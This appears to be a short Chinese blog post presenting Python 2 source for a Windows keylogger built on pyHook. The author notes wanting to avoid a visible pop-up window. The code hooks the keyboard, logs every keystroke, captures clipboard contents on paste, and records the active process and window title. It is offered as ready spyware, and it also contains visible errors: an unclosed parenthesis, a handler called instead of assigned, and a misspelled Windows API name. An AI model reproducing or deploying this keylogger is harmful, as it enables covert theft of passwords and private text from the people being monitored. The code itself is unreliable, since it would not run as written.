Python 键盘记录

之前写的键盘记录最后一直在纠结弹框与不弹框的问题，代码找不到了，今天重新来一遍

#!/usr/bin/env python
# -*-coding:utf-8 -*-

from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
    hwnd = user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessID(hwnd,byref(pid))
    process_id = "%d" % pid.value
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
    psapi.GetModuleBaseName(h_process,None, byref(executable),512)
    window_title =create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd,byref(window_title),512
    print "\n [PID:%s-%s-%s]" % (process_id,executable.value,window_title.value)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

def KeyStroke(event):
    global current_window
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s " % (pasted_value),
        else:
            print "[%s]" % event.Key,
    return True

kl = pyHook.HookManager()
kl.KeyDown = KeyStroke()

kl.HookKeyboard()
pythoncom.PumpMessages()